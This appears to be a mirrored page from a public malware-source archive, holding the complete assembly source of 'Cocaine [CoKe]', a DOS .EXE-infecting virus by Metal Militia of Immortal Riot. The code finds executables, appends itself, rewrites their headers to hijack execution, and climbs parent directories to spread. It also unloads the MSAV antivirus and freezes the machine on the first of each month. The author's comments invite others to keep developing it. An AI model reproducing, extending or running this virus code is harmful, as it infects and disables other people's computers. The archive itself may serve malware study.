mirror of
https://github.com/vxunderground/MalwareSourceCode
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280 lines
9.8 KiB
NASM
280 lines
9.8 KiB
NASM
; Virus name : Cocaine [CoKe]
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; Virus author: Metal Militia
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; Virus group : Immortal Riot
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; Origin : Sweden
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;
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; This is an non-resident, .EXE infector moving upwards using the
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; "dot-dot" method. Watch your .EXE files for the bad guy siganture
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; "IR" somewhere in the beginning, after the MZ or ZM thang.. :)
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;
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; Also, check your back for a "?" a bit from it aswell. Btw! Everytime
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; you run it, it'll take out that fucking MSAV piece of shit from your
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; memory. Im telling you, go get TB-SCAN or something instead of such
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; hacked things. TB-Scan finds this virus as both Ear-6 and Burma but
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; is not any sort of hack from them or something. I didn't had time to
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; fix the encryption, and since this is just a test from me i really
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; don't give a shit, but ofcause you're always welcome to keep
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; developing it, heheh :)
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;
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; To add here, is that Ear-6 is non-res com/exe infector, umm.. that's
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; Dark Angels virus, and this is not alike it! Burma is non-res ow-vir,
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; and also not very much alike this anyhow.. However, i've heard about
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; some resident, non-ow Burma aswell? Not sure on thatone. So, it'll
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; probably only confuse some users, I guess.. Enjoy Insane Reality #4!!
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;
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;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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; COCAINE! [CoKE]
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;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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.model tiny
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.radix 16
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.code
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org 100
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start:
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mov blast,0fa01 ; Take MSAV's shit
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mov dx,5945h ; out of the fucking
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int 16 ; memory right away
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push ds ;Save old offset
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push cs ;Set ES/DS/CS
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pop es
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push cs
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pop ds ;for data accessing.
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call get_offset ;This places the displace-
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get_offset: ;ment of the virus from
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pop bp ;its original compilation
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sub bp,offset get_offset ;into BP.
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Reset_Variables: ;Reset XX_old values for
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lea di,[IP_storage+bp] ;new infection.
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lea si,[IP_old+bp]
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call mov_it
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call mov_it
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call mov_it
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call mov_it
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jmp set_dta
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mov_it:
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movsw ; movsw
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ret ; ret(urn) to caller
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Set_DTA:
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lea dx,[New_DTA+bp] ;Set DTA to the after
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mov ah,readin ;virus
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int 21
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mov ah,47h ; Get
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mov dl,0 ; current
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lea si,[bp+new_dta+2ch] ; directory
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int 21h
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Find_first_file:
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mov ah,4e ; Find first
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lea dx,[bp+masker] ; .EXE file
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Find_File:
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int 21
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jnc infeqt ; If found, infect
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jmp ch_dir ; Else, change directoy
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Infeqt:
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mov blast,3d02 ; Open file
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lea dx,[bp+New_DTA+1e] ; 1eh = DTA place for filename
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int 21
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xchg bx,blast ; Or, mov ax,bx
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mov ah,3f ; Read in
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mov mate,readin ; 1ah
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lea dx,[bp+exe_header] ; to EXE header
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int 21
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cmp word ptr [bp+exe_header+0e],'RI' ; Check if already
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je close_file ; infected. If so,
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; close and get nextone
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call Save_Old_Header ; Save old header
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mov blast,4202 ; Go to the end of the file.
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xor mate,mate
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cwd
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int 21
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push blast
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push dx
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call calculate_CSIP ; calculate virus startingpoint
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pop dx
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pop blast
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call calculate_size ; calculate fsize for the header
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mov mate,end_virus-start ; viruscode
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mov ah,svenne ; write it
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lea dx,[bp+start] ; from start
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int 21 ; to victim (uninfected file)
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mov blast,4200 ; Return to the beginning
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xor mate,mate ; of the file.
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cwd
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int 21
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mov mate,readin ; 1ah
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mov ah,svenne ; write it
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lea dx,[bp+exe_header] ; to the EXE header
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int 21
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Close_File:
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mov ah,3e ; close the file
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int 21 ; and go get the nextone
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Find_Next_File:
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mov ah,4f ; find next file
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jmp Find_File ; do it!
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No_More_Files:
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mov ah,2a ; get date
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int 21
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cmp dl,1 ; 1st of any month?
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jne ret_to_host ; if not, outa here
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mov ah,9 ; print
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lea dx,[bp+eternal_love] ; the note
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int 21
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jmp $
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ret_to_host:
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lea dx,[bp+new_dta+2ch] ; Restore
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mov ah,3bh ; directory
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int 21
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pop ds
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mov dx,80 ; restore
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mov ah,readin ; the DTA
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int 21
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Restore_To_Host:
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push ds ; Restore ES/DS/PSP
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pop es
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mov blast,es
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add blast,10
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add word ptr cs:[bp+CS_storage],blast
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; By current seg, adjust old CS
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cli ; Clear int's
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add blast,word ptr cs:[bp+SS_storage] ; Old SS (adjust it)
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mov ss,blast ; Original position
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mov sp,word ptr cs:[bp+SP_storage] ; (return stack)
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sti ; Store (?) int's
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db 0ea ; Jmp Far
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IP_storage dw 0 ; Storage place for IP/CS/SP/SS
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CS_storage dw 0
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SP_storage dw 0
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SS_storage dw 0
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IP_old dw 0
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CS_old dw 0fff0
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SP_old dw 0
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SS_old dw 0fff0
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K_kool:
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jmp no_more_files
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K_spam:
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jmp find_first_file
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Save_Old_Header:
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mov blast,word ptr [exe_header+bp+0e] ; Save SS (old)
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mov word ptr [SS_old+bp],blast
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mov blast,word ptr [exe_header+bp+10] ; Save SP (old)
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mov word ptr [SP_old+bp],blast
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mov blast,word ptr [exe_header+bp+14] ; Save IP (old)
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mov word ptr [IP_old+bp],blast
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mov blast,word ptr [exe_header+bp+16] ; Save CS (old)
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mov word ptr [CS_old+bp],blast
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ret
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calculate_CSIP:
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push blast
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mov blast,word ptr [exe_header+bp+8] ;Get header length
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mov cl,brutal ;and convert it to
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shl blast,cl ;bytes.
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mov mate,blast
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pop blast
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sub blast,mate ;Subtract from
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sbb dx,RAVE ;file (header size)
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mov cl,0c ;Convert into segment
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shl dx,cl ;address (DX)
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mov cl,brutal
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push blast
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shr blast,cl
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add dx,blast
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shl blast,cl
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pop mate
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sub mate,blast
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mov word ptr [exe_header+bp+14],mate
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mov word ptr [exe_header+bp+16],dx ;Set CS:IP (new)
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mov word ptr [exe_header+bp+0e],'RI' ;Set SS/CS (new)
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mov word ptr [exe_header+bp+10],0fffe ;Set SP (new)
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mov byte ptr [exe_header+bp+12],'?' ;mark infection
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ret
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calculate_size:
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push blast ;Save offset for later
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add blast,end_virus-start ; add size (virus)
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adc dx,RAVE
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mov cl,POLICE
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shl dx,cl ;convert to pages (DX)
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mov cl,BRUTALITY
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shr blast,cl
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add blast,dx
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inc blast
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mov word ptr [exe_header+bp+SPAM],blast ; save pages (x number)
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pop blast ; get offset
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mov dx,blast
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shr blast,cl ; calcute last page
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shl blast,cl ; (remainder)
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sub dx,blast
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mov word ptr [exe_header+bp+RUDE],dx ;save remainder
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ret
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ch_dir:
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mov ah,3bh ; Change
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lea dx,[bp+dot_dot] ; up a dir
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int 21
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jc no_more ; If root, outa here
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jmp k_spam ; Else, try to infect here aswell
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no_more:
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jmp k_kool
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blast equ ax
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mate equ cx
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police equ 7
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brutality equ 9
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rave equ 0 ; Hey! That's you :)
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spam equ 04
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rude equ 02
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brutal equ 4
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readin equ 1a
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svenne equ 40
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virnote db 'Cocaine [CoKe]'
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db '(c) Metal Militia/Immortal Riot'
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eternal_love db 0dh,0ah,'Love to LISA :)',0dh,0ah,'$'
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db 'Cocaine''s running thrue your vains'
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db 'It seems you have become an addict'
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masker db '*IR.EXE',0 ;File mask used for search
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dot_dot db '..',0
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end_virus:
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exe_header db 1a dup (?)
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New_DTA:
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end start |